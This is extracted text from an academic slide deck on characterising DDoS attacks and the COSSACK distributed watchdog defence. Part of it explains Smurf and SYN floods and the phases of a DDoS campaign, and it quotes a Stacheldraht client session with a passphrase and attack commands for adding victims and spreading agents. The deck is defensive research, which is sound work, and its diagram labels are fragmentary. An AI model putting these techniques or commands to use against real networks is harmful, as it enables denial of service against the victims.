characterizing and defending against ddos attacks christos papadopoulos..and many others

Characterizing and Defending Against DDoS Attacks

Christos Papadopoulos

..and many others

How Do Computers Find Each Other?

Internet

Computer1 Computer 2

What Are the Different Kinds of Addresses?

Have domain name (e.g., www.usc.edu) Global, human readable name

DNS translates name to IP address (e.g. 128.125.19.146) Global, understood by all networks

Finally, we need local net address e.g., Ethernet (08-00-2c-19-dc-45) Local, works only on a particular network

Domain Naming System (DNS)

Local DNS server

What’s the IP address for www.usc.edu?

Computer 1

It is 128.125.19.146

DNS address manually configured into OS

Finding Ether Address:Address Resolution (ARP)

Ethernet

Broadcast: who knows the Ethernet address for 128.125.51.41?

Ethernet

Broadcast: I do, it is08-00-2c-19-dc-45

Sending a Packet Through the Internet

R

R

R

RRHH

H

H

H

R

RH

R

Routers send packet to next closest point

H: Hosts

R: Routers

The Internet routes packets based on their destination!

Smurf Attack

attacker

target

broadcastecho request

source address is spoofed to be

target’s address

many echo replies are received by the target, since most machines

on the amplifier network respond to the broadcast

amplifiernetwork

TCP SYN Flooding- A more powerful attack -

client(port = 33623/tcp)

server(port = 23/tcp)

SYN

SYN - ACK

ACK

[session proceeds][ACK set for remainder of session]

target(port = 23/tcp)

SPOOFED SYN

SYN - ACK

FINAL ACK NEVER SENT

nonexistent host

So, What Is DDoS?

Distributed Denial of Service New, more pernicious type of attack Many hosts “gang” up to attack another host Network resource attack:

Bandwidth State

Why Should We Care?

Successfully used to attack prominent sites in the Internet by those with a primitive understanding of internet protocols

It is relatively easy to do, but hard to detect and stop

It is only going to get worse unless we develop adequate protection mechanisms

Anatomy of an Attack

Compromise a large set of machines Install attack tools Instruct all attack machines to initiate attack

against a victim

Process highly automated

Phase 1: Compromise

A (stolen) account is used as repository for attack tools.

A scan is performed to identify potential victims.

A script is used to compromise the victims.

Phase 2: Install Attack Tools

• An automated installation script is then run on the “owned” systems to download and install the attack tool(s) from the repository.

• Optionally, a “root kit” is installed on the compromised systems.

Phase 3: Launch attackPhase 3: Launch attack

•Launch a coordinated DDoS from different sites against a single victim.

•Network pipes of attackers can be small, but aggregated bw is far larger than victim’s pipe.

•Victim’s ISP may not notice elevated traffic.

•DDoS attacks are harder to track than a DoS.

Some Known DDoS attack Some Known DDoS attack toolstools

Trin00

Tribal Flood Network (TFN)

Tribal Flood Network 2000 (TFN2K)

Stacheldraht

Combines features of trin00 and TFN.

Adds encryption between the attacker and masters and automated update of agents.

Communication between attacker and masters take place on tcp port 16660.

Daemons receive commands from masters through ICMP echo replies

ICMP, UDP, SYN flood and SMURF attack.

StacheldrahtStacheldraht

# ./client 192.168.0.1[*] stacheldraht [*](c) in 1999 by ...trying to connect...connection established.--------------------------------------enter the passphrase : sicken--------------------------------------entering interactive session.******************************welcome to stacheldraht******************************type .help if you are lamestacheldraht(status: a!1 d!0)>

stacheldraht(status: a!1 d!0)>.helpavailable commands in this version are:--------------------------------------------------.mtimer .mudp .micmp .msyn .msort .mping.madd .mlist .msadd .msrem .distro .help.setusize .setisize .mdie .sprange .mstop .killall.showdead .showalive--------------------------------------------------stacheldraht(status: a!1 d!0)>

Some Commands--------.distro user server

Instructs the agent to install and run a new copy of itself

using the Berkeley "rcp" command, on the system "server",

using the account "user" (e.g., "rcp user@server:linux.bin ttymon")

.madd ip1[:ip2[:ipN]]Add IP addresses to list of attack victims.

.madd ip1[:ip2[:ipN]]Add IP addresses to list of attack victims.

.mdieSends die request to all agents.

COSSACK: Coordinated Suppression

of Simultaneous Attacks

Computer Networks DivisionISI

http://www.isi.edu/cossack

People

Co-PIs: Christos Papadopoulos, Bob Lindell (USC/ISI)

Affiliations: Ramesh Govindan (USC/ISI) Staff: John Mehringer (ISI) Students: Alefiya Hussain (USC) DARPA synergies:

DWARD - Peter Reiher, Jelena Mirkovic (UCLA) SAMAN - John Heidemann (USC/ISI)

Cossack Overview

Distributed set of watchdogs at network perimeterLocal IDSGroup communicationTopology information (when available)

Fully distributed approachPeer-to-peer rather than master-slaveAttack-driven dynamic grouping of watchdogsAttack correlation via coordination with other

watchdogsIndependent, selective deployment of countermeasures

Cossack: A Simplified View

WW

W

target

watchdog

attacker

attacker

attacker

attacker

watchdog

watchdog

watchdog

watchdog

Attacks Begin

WW

W

target

watchdog

attacker

Watchdogs Communicate Using YOID

WW

W

target

watchdog

attacker

YOID

Attacks Detected

WW

W

target

watchdog

attacker

YOID

Watchdogs Install Filters and Eliminate Attack

WW

W

target

watchdog

attacker

Detecting Source Spoofed Attacks

WW

W

target

watchdog

attacker

YOID

Cossack Watchdog Architecture

Yoid Multicast InterfaceDistributed Blackboard

SnortInterface

RateMonitor

Other IDS(D-WARD)

Router Control

PulsingDetector

CiscoInterface

LinuxIPTables

RouterInterface

EventMonitor

YOID Multicast group

Cossack Plugin Operation

Packet Flow Statistics

Packet Averages Grouped by

Destination Address

Yoid Multicast Interface

Distributed Blackboard

SnortInterface

RateMonitor

Other IDS(D-WARD)

Router Control

PulsingDetector

CiscoInterface

LinuxIPTables

RouterInterface

EventMonitor

Request more stats

Cossack Plugin Operation

Packet Flow Statistics

Packet Averages Grouped by

Destination Address

Yoid Multicast Interface

Distributed Blackboard

SnortInterface

RateMonitor

Other IDS(D-WARD)

Router Control

PulsingDetector

CiscoInterface

LinuxIPTables

RouterInterface

EventMonitor

Request for more stats

Packet AveragesGrouped by Source

Address

Cossack Network InspectorTool to determine detection thresholds for watchdogs Interfaces with the Cossack Snort Plugin Collects aggregate level network traffic statistics

Traffic filters created using snort rules

Cossack Performance

Response time: 5 – 30 seconds Insensitive to attack type

Attack Capture and Analysis

Goal: Capture some attacks, analyze and learn from them

Packet-level capture facilities in several sites: Los Nettos USC CAIDA [Telcordia, Sprint]

Spectral analysis

LA-MAE

VerioCogentGenuity

Los Nettos Trace Machine140Mbps,38kpps

JPLCaltech

TRW USCCentergate

Tracing Infrastructure

Internet

Los Nettos Customers

Captured and classified about 120 attacks over several months

Attack Class Count PPS Kbps

Single-source 37 133-1360 640-2260

Multi-source 10 16000-98000

13000-46000

Reflected 20 1300-3700 1700-3000

Unclassified 13 550-33500 1600-16000

Captured Attacks

Spectral Attack Analysis

Multi-source attack (145 sources)

Localization of power in low frequencies in NCS

Single-source attack Strong higher

frequencies and linear Normalized Cumulative Spectrum (NCS)

F(60%) F(60%)

Spectral AnalysisGoal: identify single vs. multi-

source attacks• Single-source:

F(60%) mean 268Hz (240-295Hz)

• Multi-source: F(60%) mean 172Hz (142-

210Hz)

• Able to robustly categorize unclassified attacks

Conclusions

Cossack is a fully distributed approach against DDoS attacks

Software is operational and currently undergoing Red Team testing

We continue to capture attacks, analyze and learn from them

Spectral analysis work very promising

http://www.isi.edu/cossack